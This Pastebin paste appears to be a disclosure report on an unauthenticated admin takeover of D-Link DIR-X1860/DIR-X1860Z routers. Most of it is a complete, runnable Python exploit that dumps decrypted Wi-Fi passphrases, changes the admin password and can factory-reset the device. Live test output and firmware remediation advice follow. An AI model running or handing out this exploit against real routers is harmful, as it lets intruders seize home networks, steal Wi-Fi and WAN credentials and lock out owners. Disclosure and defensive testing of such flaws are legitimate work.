Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ================================================================================
- D-Link DIR-X1860 / DIR-X1860Z - Unauthenticated Admin Password Change (Takeover)
- ================================================================================
- AFFECTED COMPONENT
- ------------------
- Service: uhttpd / ubus JSON-RPC
- Endpoint: http://<router-LAN-IP>:23355/ubus
- Object: routerd
- Method: passwd_set
- Parameter: pwd (AES-128-CBC encrypted, key from routerd.get_rand_key,
- hard-coded IV "[email protected]")
- VULNERABLE ACL MAPPING (confirmed via session.access oracle, live device)
- -------------------------------------------------------------------------
- routerd.passwd_set -> access = true [CRITICAL - should be false]
- routerd.wificfg_set -> access = true
- routerd.wificfg_get -> access = true
- routerd.wan_config_set -> access = true
- routerd.wan_ipv6_config_set -> access = true
- routerd.easymesh_set -> access = true
- routerd.elink_set -> access = true
- routerd.set_timezone -> access = true
- routerd.customer_info -> access = true
- routerd.param_status -> access = true
- routerd.get_wan_type -> access = true
- routerd.get_rand_key -> access = true
- routerd.login -> access = true
- session.access -> access = true
- Correctly protected (return access=false or error -32002):
- routerd.info, routerd.devinfo_get, routerd.wan_config_get,
- routerd.factory, system.set_telnet, system.reboot, session.login
- PROOF OF CONCEPT
- ----------------
- Requirements: Python 3, pycryptodome (pip install pycryptodome)
- Usage:
- python3 poc.py verify # ACL check only (read-only)
- python3 poc.py psk # dump Wi-Fi PSKs (read-only)
- python3 poc.py takeover --new-pass <PASSWORD> # DESTRUCTIVE
- ----------------------------------------------------------------------
- #!/usr/bin/env python3
- # D-Link DIR-X1860 / DIR-X1860Z - Unauthenticated Admin Takeover PoC
- # For coordinated disclosure purposes only.
- # Do NOT run against devices you do not own or have explicit permission to test.
- import argparse
- import json
- import sys
- import urllib.request
- try:
- from Crypto.Cipher import AES
- except ImportError:
- sys.exit("pycryptodome required: pip install pycryptodome")
- DEFAULT_URL = "http://192.168.0.1:23355/ubus"
- DEFAULT_TOK = "00000000000000000000000000000000" # hard-coded default session token
- IV = b"[email protected]" # hard-coded AES-CBC IV in firmware
- # Methods confirmed reachable with the unauthenticated token (ACL oracle, live).
- UNAUTH_ALLOWED = [
- ("routerd", "passwd_set"), # CRITICAL: change admin password
- ("routerd", "wificfg_set"), # change SSID / WPA passphrase
- ("routerd", "wificfg_get"), # read wireless config (incl. encrypted PSK)
- ("routerd", "wan_config_set"), # change WAN gateway / DNS
- ("routerd", "wan_ipv6_config_set"),
- ("routerd", "easymesh_set"),
- ("routerd", "elink_set"),
- ("routerd", "set_timezone"),
- ("routerd", "customer_info"),
- ("routerd", "param_status"),
- ("routerd", "get_wan_type"),
- ("routerd", "get_rand_key"), # returns AES key material (unauthenticated)
- ("routerd", "login"),
- ("session", "access"), # the ACL oracle itself
- ]
- # Correctly protected methods (expect access=false / error -32002).
- PROTECTED = [
- ("routerd", "info"),
- ("routerd", "devinfo_get"),
- ("routerd", "wan_config_get"),
- ("routerd", "factory"),
- ("system", "set_telnet"),
- ("system", "reboot"),
- ("session", "login"),
- ]
- def ubus(obj, method, params=None, tok=DEFAULT_TOK, url=DEFAULT_URL, timeout=8):
- body = {"jsonrpc": "2.0", "method": "call",
- "params": [tok, obj, method, params or {}], "id": 1}
- req = urllib.request.Request(url, data=json.dumps(body).encode(),
- headers={"Content-Type": "application/json"})
- with urllib.request.urlopen(req, timeout=timeout) as r:
- return json.loads(r.read().decode())
- def ok(resp):
- return (isinstance(resp.get("result"), list)
- and len(resp["result"]) > 0 and resp["result"][0] == 0)
- def get_rand_key(key_index=None, url=DEFAULT_URL):
- """Unauthenticated key fetch.
- rand_key format: key_index(32 hex) || AES-128 key(32 hex)
- Note: keys rotate — fetch wificfg_get first, then fetch each index
- immediately. Avoid interleaved no-arg calls."""
- params = {"key_index": key_index} if key_index else {}
- r = ubus("routerd", "get_rand_key", params, url=url)
- if not (r.get("result") and len(r["result"]) > 1):
- sys.exit(f"[!] get_rand_key failed (key rotated?): {json.dumps(r)}")
- rk = r["result"][1]["rand_key"]
- if len(rk) < 64:
- sys.exit(f"[!] unexpected rand_key length {len(rk)}: {rk!r}")
- return rk[:32], bytes.fromhex(rk[32:])
- def enc(pw, url=DEFAULT_URL):
- """Encrypt password: key_index || AES-128-CBC(pkcs7(pw))"""
- ki, key = get_rand_key(url=url)
- pad = 16 - (len(pw) % 16)
- data = pw.encode() + bytes([pad]) * pad
- return ki + AES.new(key, AES.MODE_CBC, IV).encrypt(data).hex()
- def dec(payload_hex, key=None, url=DEFAULT_URL):
- """Decrypt a key_index || ciphertext blob (e.g. from wificfg_get)."""
- if key is None:
- _, key = get_rand_key(payload_hex[:32], url=url)
- pt = AES.new(key, AES.MODE_CBC, IV).decrypt(bytes.fromhex(payload_hex[32:]))
- pad = pt[-1]
- if not 1 <= pad <= 16:
- sys.exit(f"[!] bad padding byte {pad} — wrong key/IV?")
- return pt[:-pad].decode(errors="replace")
- def acl_oracle(obj, m, url=DEFAULT_URL):
- r = ubus("session", "access",
- {"scope": "ubus", "object": obj, "function": m}, url=url)
- if not ok(r) or len(r["result"]) < 2:
- return "denied/error"
- return r["result"][1].get("access")
- def cmd_verify(args):
- print(f"[*] ACL oracle @ {args.url} (token {DEFAULT_TOK})")
- print(f" {'object.method':<28} {'unauth access'}")
- print(" " + "-" * 50)
- for obj, m in UNAUTH_ALLOWED:
- allowed = acl_oracle(obj, m, url=args.url)
- star = " <-- VULN" if allowed is True else ""
- print(f" {obj + '.' + m:<28} {allowed}{star}")
- print(f"\n[*] Protected methods (expect false/denied):")
- for obj, m in PROTECTED:
- allowed = acl_oracle(obj, m, url=args.url)
- print(f" {obj + '.' + m:<28} {allowed}")
- def cmd_psk(args):
- print(f"[*] Unauthenticated WPA PSK disclosure @ {args.url}")
- print(" [i] keys rotate: wificfg_get first, then each key fetched immediately")
- r = ubus("routerd", "wificfg_get", {"section": "2.4g"}, url=args.url)
- if not ok(r):
- sys.exit(f"[!] wificfg_get failed: {json.dumps(r)}")
- cache = {}
- def key_for(idx):
- if idx not in cache:
- _, cache[idx] = get_rand_key(idx, url=args.url)
- return cache[idx]
- for band in ("2G", "5G"):
- vals = r["result"][1].get(band, {}).get("values", {})
- for n in range(1, 5):
- if str(vals.get(f"Enable{n}")) != "1":
- continue
- ssid = vals.get(f"SSID{n}", "?")
- auth = vals.get(f"AuthMode{n}", "?")
- blob = vals.get(f"Passwd{n}")
- if not blob:
- continue
- try:
- pw = dec(blob, key=key_for(blob[:32]), url=args.url)
- except Exception as e:
- pw = f"(decrypt failed: {e})"
- print(f" [{band}] SSID {ssid!r} ({auth}): PSK {pw!r}")
- def cmd_takeover(args):
- pw = args.new_pass
- if len(pw) < 8:
- sys.exit("[!] --new-pass should be >= 8 chars (router password policy)")
- print(f"[*] (1/3) unauthenticated password change (admin -> {pw!r})")
- r = ubus("routerd", "passwd_set",
- {"user": "admin", "pwd": enc(pw, url=args.url)}, url=args.url)
- if not ok(r):
- sys.exit(f"[!] passwd_set failed: {json.dumps(r)}")
- print(" [ok] passwd_set accepted")
- print("[*] (2/3) login with the new password")
- r = ubus("routerd", "login",
- {"username": "admin", "password": enc(pw, url=args.url)}, url=args.url)
- if not ok(r):
- sys.exit(f"[!] login failed: {json.dumps(r)}")
- sess = r["result"][1]["ubus_rpc_session"]
- print(f" [ok] ubus_rpc_session: {sess}")
- print("[*] (3/3) post-auth administrative calls")
- for obj, m in (("routerd", "devinfo_get"), ("routerd", "wan_config_get")):
- rr = ubus(obj, m, {}, tok=sess, url=args.url)
- if ok(rr):
- print(f" {obj}.{m}:")
- print(" " + json.dumps(rr["result"][1], indent=2)
- .replace("\n", "\n "))
- else:
- print(f" {obj}.{m}: {json.dumps(rr)}")
- print(f"\n[*] Full admin session obtained: {sess}")
- print(f" ubus('routerd', 'wificfg_set', {{...}}, tok='{sess}')")
- if args.factory_reset:
- print("[!] --factory-reset: sending routerd.factory")
- ubus("routerd", "factory", {}, tok=sess, url=args.url)
- def main():
- ap = argparse.ArgumentParser(
- description="D-Link DIR-X1860Z unauthenticated admin takeover PoC",
- epilog="'takeover' is DESTRUCTIVE: it changes the admin password.")
- ap.add_argument("--url", default=DEFAULT_URL,
- help=f"ubus endpoint (default {DEFAULT_URL})")
- sub = ap.add_subparsers(dest="cmd", required=True)
- p = sub.add_parser("verify", help="ACL oracle check (read-only)")
- p.set_defaults(fn=cmd_verify)
- p = sub.add_parser("psk", help="dump both WPA PSKs (read-only)")
- p.set_defaults(fn=cmd_psk)
- p = sub.add_parser("takeover", help="password change + admin session (DESTRUCTIVE)")
- p.add_argument("--new-pass", required=True, help="new admin password to set")
- p.add_argument("--factory-reset", action="store_true",
- help="also factory-reset device after takeover")
- p.set_defaults(fn=cmd_takeover)
- args = ap.parse_args()
- args.fn(args)
- if __name__ == "__main__":
- main()
- ----------------------------------------------------------------------
- LIVE TEST OUTPUT (2026-08-20, sanitized)
- -----------------------------------------
- 2026-08-20T14:06:06Z psk
- [*] Unauthenticated WPA PSK disclosure @ http://192.168.0.1:23355/ubus
- [i] keys rotate: wificfg_get first, then each key fetched immediately
- [2G] SSID 'Test 2.4G' (WPA2PSKWPA3PSK): PSK '<plaintext WPA passphrase recovered>'
- [5G] SSID 'Test 5G' (WPA2PSKWPA3PSK): PSK '<plaintext WPA passphrase recovered>'
- 2026-08-20T14:06:06Z takeover
- [*] (1/3) unauthenticated password change (admin -> 'test-new-password')
- [ok] passwd_set accepted
- [*] (2/3) login with the new password
- [ok] ubus_rpc_session: <redacted-session-token>
- [*] (3/3) post-auth administrative calls
- routerd.devinfo_get:
- {
- "Mac": "A4:2A:95:XX:XX:XX",
- "Vendor": "DLink",
- "Model": "DIR-X1860Z",
- "SwVersion": "V1.0.2.220120.165402",
- "HdVersion": "V1.0",
- "SN": "NE001M2XXXXXX",
- "IpAddr": "192.168.0.1",
- "Wireless": "no",
- "DualBand": "yes",
- "WorkMode": "router",
- "RunTime": 424463
- }
- routerd.wan_config_get:
- {
- "proto": "dhcp",
- "defaultmac": "A4:2A:95:XX:XX:XX",
- "macaddr": "A4:2A:95:XX:XX:XX",
- "mtu": 1500,
- "mode": "nat",
- "username": "",
- "password": "<AES-CBC encrypted WAN credential — decryptable via get_rand_key>",
- "dns1": "<upstream DNS IP>"
- }
- [*] Full admin session obtained: <redacted-session-token>
- === Persistence re-check (independent fresh login, same session) ===
- login('test-new-password') -> result [0, ubus_rpc_session <token>] (accepted)
- login('<wrong-password>') -> result [6] (rejected)
- REMEDIATION
- -----------
- Primary:
- Upgrade firmware to V1.0.7.260821.161908 or later.
- D-Link advisories: https://supportannouncement.us.dlink.com/security/
- Compensating controls (if immediate patching is not possible):
- 1. Isolate TCP port 23355 from untrusted LAN segments
- (guest Wi-Fi SSID, IoT VLANs) using firewall rules.
- 2. Rotate the admin password and Wi-Fi WPA passphrases.
- 3. Disable WAN-facing remote management.
Advertisement
Add Comment
Please, Sign In to add comment